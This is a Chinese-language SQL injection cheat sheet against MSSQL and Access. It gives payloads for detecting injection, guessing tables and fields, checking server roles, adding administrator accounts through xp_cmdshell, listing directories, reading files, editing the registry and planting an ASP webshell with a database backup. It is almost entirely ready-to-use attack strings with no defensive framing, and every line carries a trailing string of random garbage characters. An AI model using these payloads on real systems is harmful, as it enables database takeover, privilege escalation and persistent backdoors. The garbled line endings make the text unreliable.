1.判断是否有注入;and 1=1 ;and 1=2 ( /{Wu:e
2.初步判断是否是mssql ;and user>0 :@zz5MB5@
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3.注入参数是字符'and [查询条件] and ''=' ohqi4Y!j/~
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' _NQMi4 V(
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5.判断数据库系统 >[;+QVr;
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;and (select count(*) from sysobjects)>0 mssql
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;and (select count(*) from msysobjects)>0 access ~;nh|v/e
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 L=4%MyZ.e
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 <eP`Lu"
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !t/I
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9.(1)猜字段的ascii值(access) v<
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SoX\S|}%6[
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(2)猜字段的ascii值(mssql) F]kn4zr
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Os--@5e
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10.测试权限结构(mssql) 0Z9>%\km_
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- aMdWT4
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 34S0W]V
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [@YeQ{
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .}
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- wWjZXsOd
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- %mKM9>lf#
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;and 1=(select IS_MEMBER('db_owner'));-- wq$+m(
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11.添加mssql和系统的帐户 zf+jQ
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;exec master.dbo.sp_addlogin username;-- 9yla &XTD
;exec master.dbo.sp_password null,username,password;-- %
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- MvV\?Lzj
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;exec master.dbo.xp_cmdshell 'net user username password FI|jsO 3
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- h`Ld%iN\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- BMaw]D
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- _Sa7+d(
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12.(1)遍历目录 hO8~Rg
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;create table dirs(paths varchar(100), id int) .8[*`%K>
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;insert dirs exec master.dbo.xp_dirtree 'c:\' O7D aVlln
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;and (select top 1 paths from dirs)>0 f8ucJ.{"
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) {v3?.a$u
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(2)遍历目录 K"fr4xHq
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- {,;R\)8D
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2Kg-ZDK8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 nulLK28q
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 vca]yK<u
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 faTp|T`nY
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13.mssql中的存储过程 xlKg0&D
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xp_regenumvalues 注册表根键, 子键 `2
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 rJz`v/:|P
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xp_regread 根键,子键,键值名 W=-:<3XL
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;exec xp_regread @O]v.<8
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8cKP_Ec
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xp_regwrite 根键,子键, 值名, 值类型, 值 Q}zd!*
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 gPJZpaS
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Al}D~6MD
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xp_regdeletevalue 根键,子键,值名 !_i;6UVG
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 V'iT>
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 nyl[d|pVa
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14.mssql的backup创建webshell v?O6|0#x
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use model Kry^47"
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create table cmd(str image); G4<M@ET
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insert into cmd(str) values (''); l$:?82{
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backup database model to disk='c:\l.asp'; R!z32 <5k
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15.mssql内置函数 `z1E]{A
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;and (select @@version)>0 获得Windows的版本号 96#aGh>
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2~B9 (|
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;and (select user_name())>0 爆当前系统的连接用户 ]1)#Y
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;and (select db_name())>0 得到当前连接的数据库 =6O<1<[y
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16.简洁的webshell T*1 `MIkv
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use model 7*>(C*q=
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create table cmd(str image); q]\GBRp
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insert into cmd(str) values (''); v/G)E_
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backup database model to disk='g:\wwwtest\l.asp';